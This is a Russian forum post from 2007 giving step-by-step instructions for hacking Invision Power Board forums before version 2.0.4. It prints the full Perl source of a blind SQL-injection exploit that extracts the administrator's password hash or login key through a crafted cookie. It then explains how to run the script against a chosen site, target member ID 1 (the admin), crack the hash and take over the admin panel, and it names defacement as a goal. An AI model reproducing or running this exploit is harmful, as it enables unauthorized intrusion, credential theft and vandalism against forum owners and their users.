avatar_Everybody

Как использовать эксплоиты в игре MU Online? Пошаговая инструкция

Автор Everybody, 2007 Окт. 25, 23:53

« назад - далее »

0 Пользователи и 1 гость просматривают эту тему.

Ключевые слова [SEO] эксплоиты в mu onlineуязвимости порталовувеличение хешей администратора

Everybody


Вобщем пошаговая инструкция как использовать експлоиты!
Спросите зачем оно надо? Експлоиты - скрипты, использующие уязвимости порталов, форумов и т.д. С помощью сплоита можно увести хеши администратора форума к примеру, чтобы в последующем иметь достум к панели администратора для управления форумом и дефейса.
Для примера будем использовать SQL-иньекцию в форумах IPB до версии 2.0.4 Уязвимость конечно старая, но дырявые форумы в сети были, есть и будут есть
Сплойт на перле выглядит так:
#!/usr/bin/perl

## Invision Power Board SQL injection exploit by RST/GHC
## vulnerable forum versions : 1.* , 2.* (<2.0.4)
## tested on version 1.3 Final and version 2.0.2
## * work on all mysql versions
## * work with magic_quotes On (use %2527 for bypass magic_quotes_gpc = On)
## (c)oded by 1dt.w0lf
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
## screen:
## ~~~~~~~
## r57ipb2.pl blah.com /ipb13/ 1 0
## [~]    SERVER : blah.com
## [~]      PATH : /ipb13/
## [~] MEMBER ID : 1
## [~]    TARGET : 0 - IPB 1.*
## [~] SEARCHING PASSWORD ... [ DONE ]
##
## MEMBER ID : 1
## PASSWORD : 5f4dcc3b5aa765d61d8327deb882cf99
##
## r57ipb2.pl blah.com  /ipb202/ 1 1
## [~]    SERVER : blah.com
## [~]      PATH : /ipb202/
## [~] MEMBER ID : 1
## [~]    TARGET : 1 - IPB 2.*
## [~] SEARCHING PASSWORD ... [ DONE ]
##
## MEMBER ID : 1
## MEMBER_LOGIN_KEY : f14c54ff6915dfe3827c08f47617219d
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
## Greets: James Bercegay of the GulfTech Security Research Team
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
## Credits: RST/GHC , https://rst.void.ru , https://ghc.ru
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

use IO::Socket;

if (@ARGV < 4) { &usage; }

$server    = $ARGV[0];
$path      = $ARGV[1];
$member_id = $ARGV[2];
$target    = $ARGV[3];

$pass = ($target)?('member_login_key'):('password');

$server =~ s!(http://)!!;

$request  = 'https://';
$request .= $server;
$request .= $path;

$s_num = 1;
$|++;
$n = 0;

print "[~]    SERVER : $serverrn";
print "[~]      PATH : $pathrn";
print "[~] MEMBER ID : $member_idrn";
print "[~]    TARGET : $target";
print (($target)?(' - IPB 2.*'):(' - IPB 1.*'));
print "rn";
print "[~] SEARCHING PASSWORD ... [|]";

($cmember_id = $member_id) =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;

while(1)
{
if(&found(47,58)==0) { &found(96,122); }
$char = $i;
if ($char=="0")
{
if(length($allchar) > 0){
print qq{bb DONE ]

MEMBER ID : $member_id
};
print (($target)?('MEMBER_LOGIN_KEY : '):('PASSWORD : '));
print $allchar."rn";
}
else
{
print "bb FAILED ]";
}
exit();
}
else
{
$allchar .= chr($i);
}
$s_num++;
}

sub found($$)
{
my $fmin = $_[0];
my $fmax = $_[1];
if (($fmax-$fmin)<5) { $i=crack($fmin,$fmax); return $i; }

$r = int($fmax - ($fmax-$fmin)/2);
$check = " BETWEEN $r AND $fmax";
if ( &check($check) ) { &found($r,$fmax); }
else { &found($fmin,$r); }
}

sub crack($$)
{
my $cmin = $_[0];
my $cmax = $_[1];
$i = $cmin;
while ($i<$cmax)
{
$crcheck = "=$i";
if ( &check($crcheck) ) { return $i; }
$i++;
}
$i = 0;
return $i;
}

sub check($)
{
$n++;
status();
$ccheck = $_[0];
$pass_hash1 = "%36%36%36%2527%20%4F%52%20%28%69%64%3D";
$pass_hash2 = "%20%41%4E%44%20%61%73%63%69%69%28%73%75%62%73%74%72%69%6E%67%28";
$pass_hash3 = $pass.",".$s_num.",1))".$ccheck.") /*";
$pass_hash3 =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;
$nmalykh    = "%20";
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80");

printf $socket ("GET %sindex.php?act=Login&CODE=autologin HTTP/1.0nHost: %snAccept: */*nCookie: member_id=%s; pass_hash=%s%s%s%s%snConnection: closenn",
$path,$server,$cmember_id,$pass_hash1,$cmember_id,$pass_hash2,$pass_hash3,$nmalykh);

while(<$socket>)
{
if (/Set-Cookie: session_id=0;/) { return 1; }
}

return 0;
}

sub status()
{
$status = $n % 5;
if($status==0){ print "bb/]";  }
if($status==1){ print "bb-]";  }
if($status==2){ print "bb\]"; }
if($status==3){ print "bb|]";  }
}

sub usage()
{
print q(
Invision Power Board v < 2.0.4 SQL injection exploit
----------------------------------------------------
USAGE:
~~~~~~
r57ipb2.pl [server] [/folder/] [member_id] [target]

[server]    - host where IPB installed
[/folder/]  - folder where IPB installed
[member_id] - user id for brute

targets:
0 - IPB 1.*
1 - IPB 2.* (Prior To 2.0.4)

e.g. r57ipb2.pl 127.0.0.1 /IPB/ 1 1
----------------------------------------------------
(c)oded by 1dt.w0lf
RST/GHC , https://rst.void.ru , https://ghc.ru
);
exit();
}
-
Открываем блокнот, копируем туда код сплоита и сохраняем файл как имя.pl

Для дальнейшего использования нам необходим интерпретатор Perl'а установленый на компе. Его можно скачать отсюда (там же находятся инструкции по установке и использованию):
https://www.denwer.ru/

Итак, интерпретатор установлен. Запускаем его:
Пуск->Выполнить->cmd

В командной строке набираем:
C:путь_к_Perl C:путь_к_файлу_имя.pl сайт/папка_с_форумом/ 1 0

где:
C:путь_к_Perl - это путь к файлу интерпретатора, например c:perlbinperl

C:путь_к_файлу_имя.pl - путь к сохраненному вами файлу с кодом сплоита

сайт - сайт форума, доступ к которому вы хотите получить например lamer.com

папка_с_форумом - папка на сервере, куда установлен движок форума (смотрите в строке URL броузера)

1 - id юзера, чей хеш мы хотим увести. т.к. нам нужны админские хеши, ставим единицу, патамушто первыми на форуме регисрируюца естессно админы

0 - версия форума которую мы хотим взламать (0 - IPB 1.*, 1 - IPB 2.*)

Строка в cmd будет выглядеть примерно так:
c:perlbinperl c:ipb.pl terion.com /forum/ 1 0

Все, жмем Enter и ждем....
Если вы все сделали правильно, и форум не пропатчен, мы увидим примерно следующую картину:

r57ipb2.pl blah.com /ipb13/ 1 0
[~] SERVER : blah.com
[~] PATH : /ipb13/
[~] MEMBER ID : 1
[~] TARGET : 0 - IPB 1.*
[~] SEARCHING PASSWORD ... [ DONE ]

MEМBER ID : 1
PASSWORD : 5f4dcc3b5aa765d61d8327deb882cf99

Вот сам хеш: 5f4dcc3b5aa765d61d8327deb882cf99
Теперь расшифровываем его любым возможным способом (в яндексе про это куча ссыл) и получаем пароль администратора форума...
=
База експлойтов
rst.void.ru
securitylab.ru
milw0rm.com

Похожие темы (5)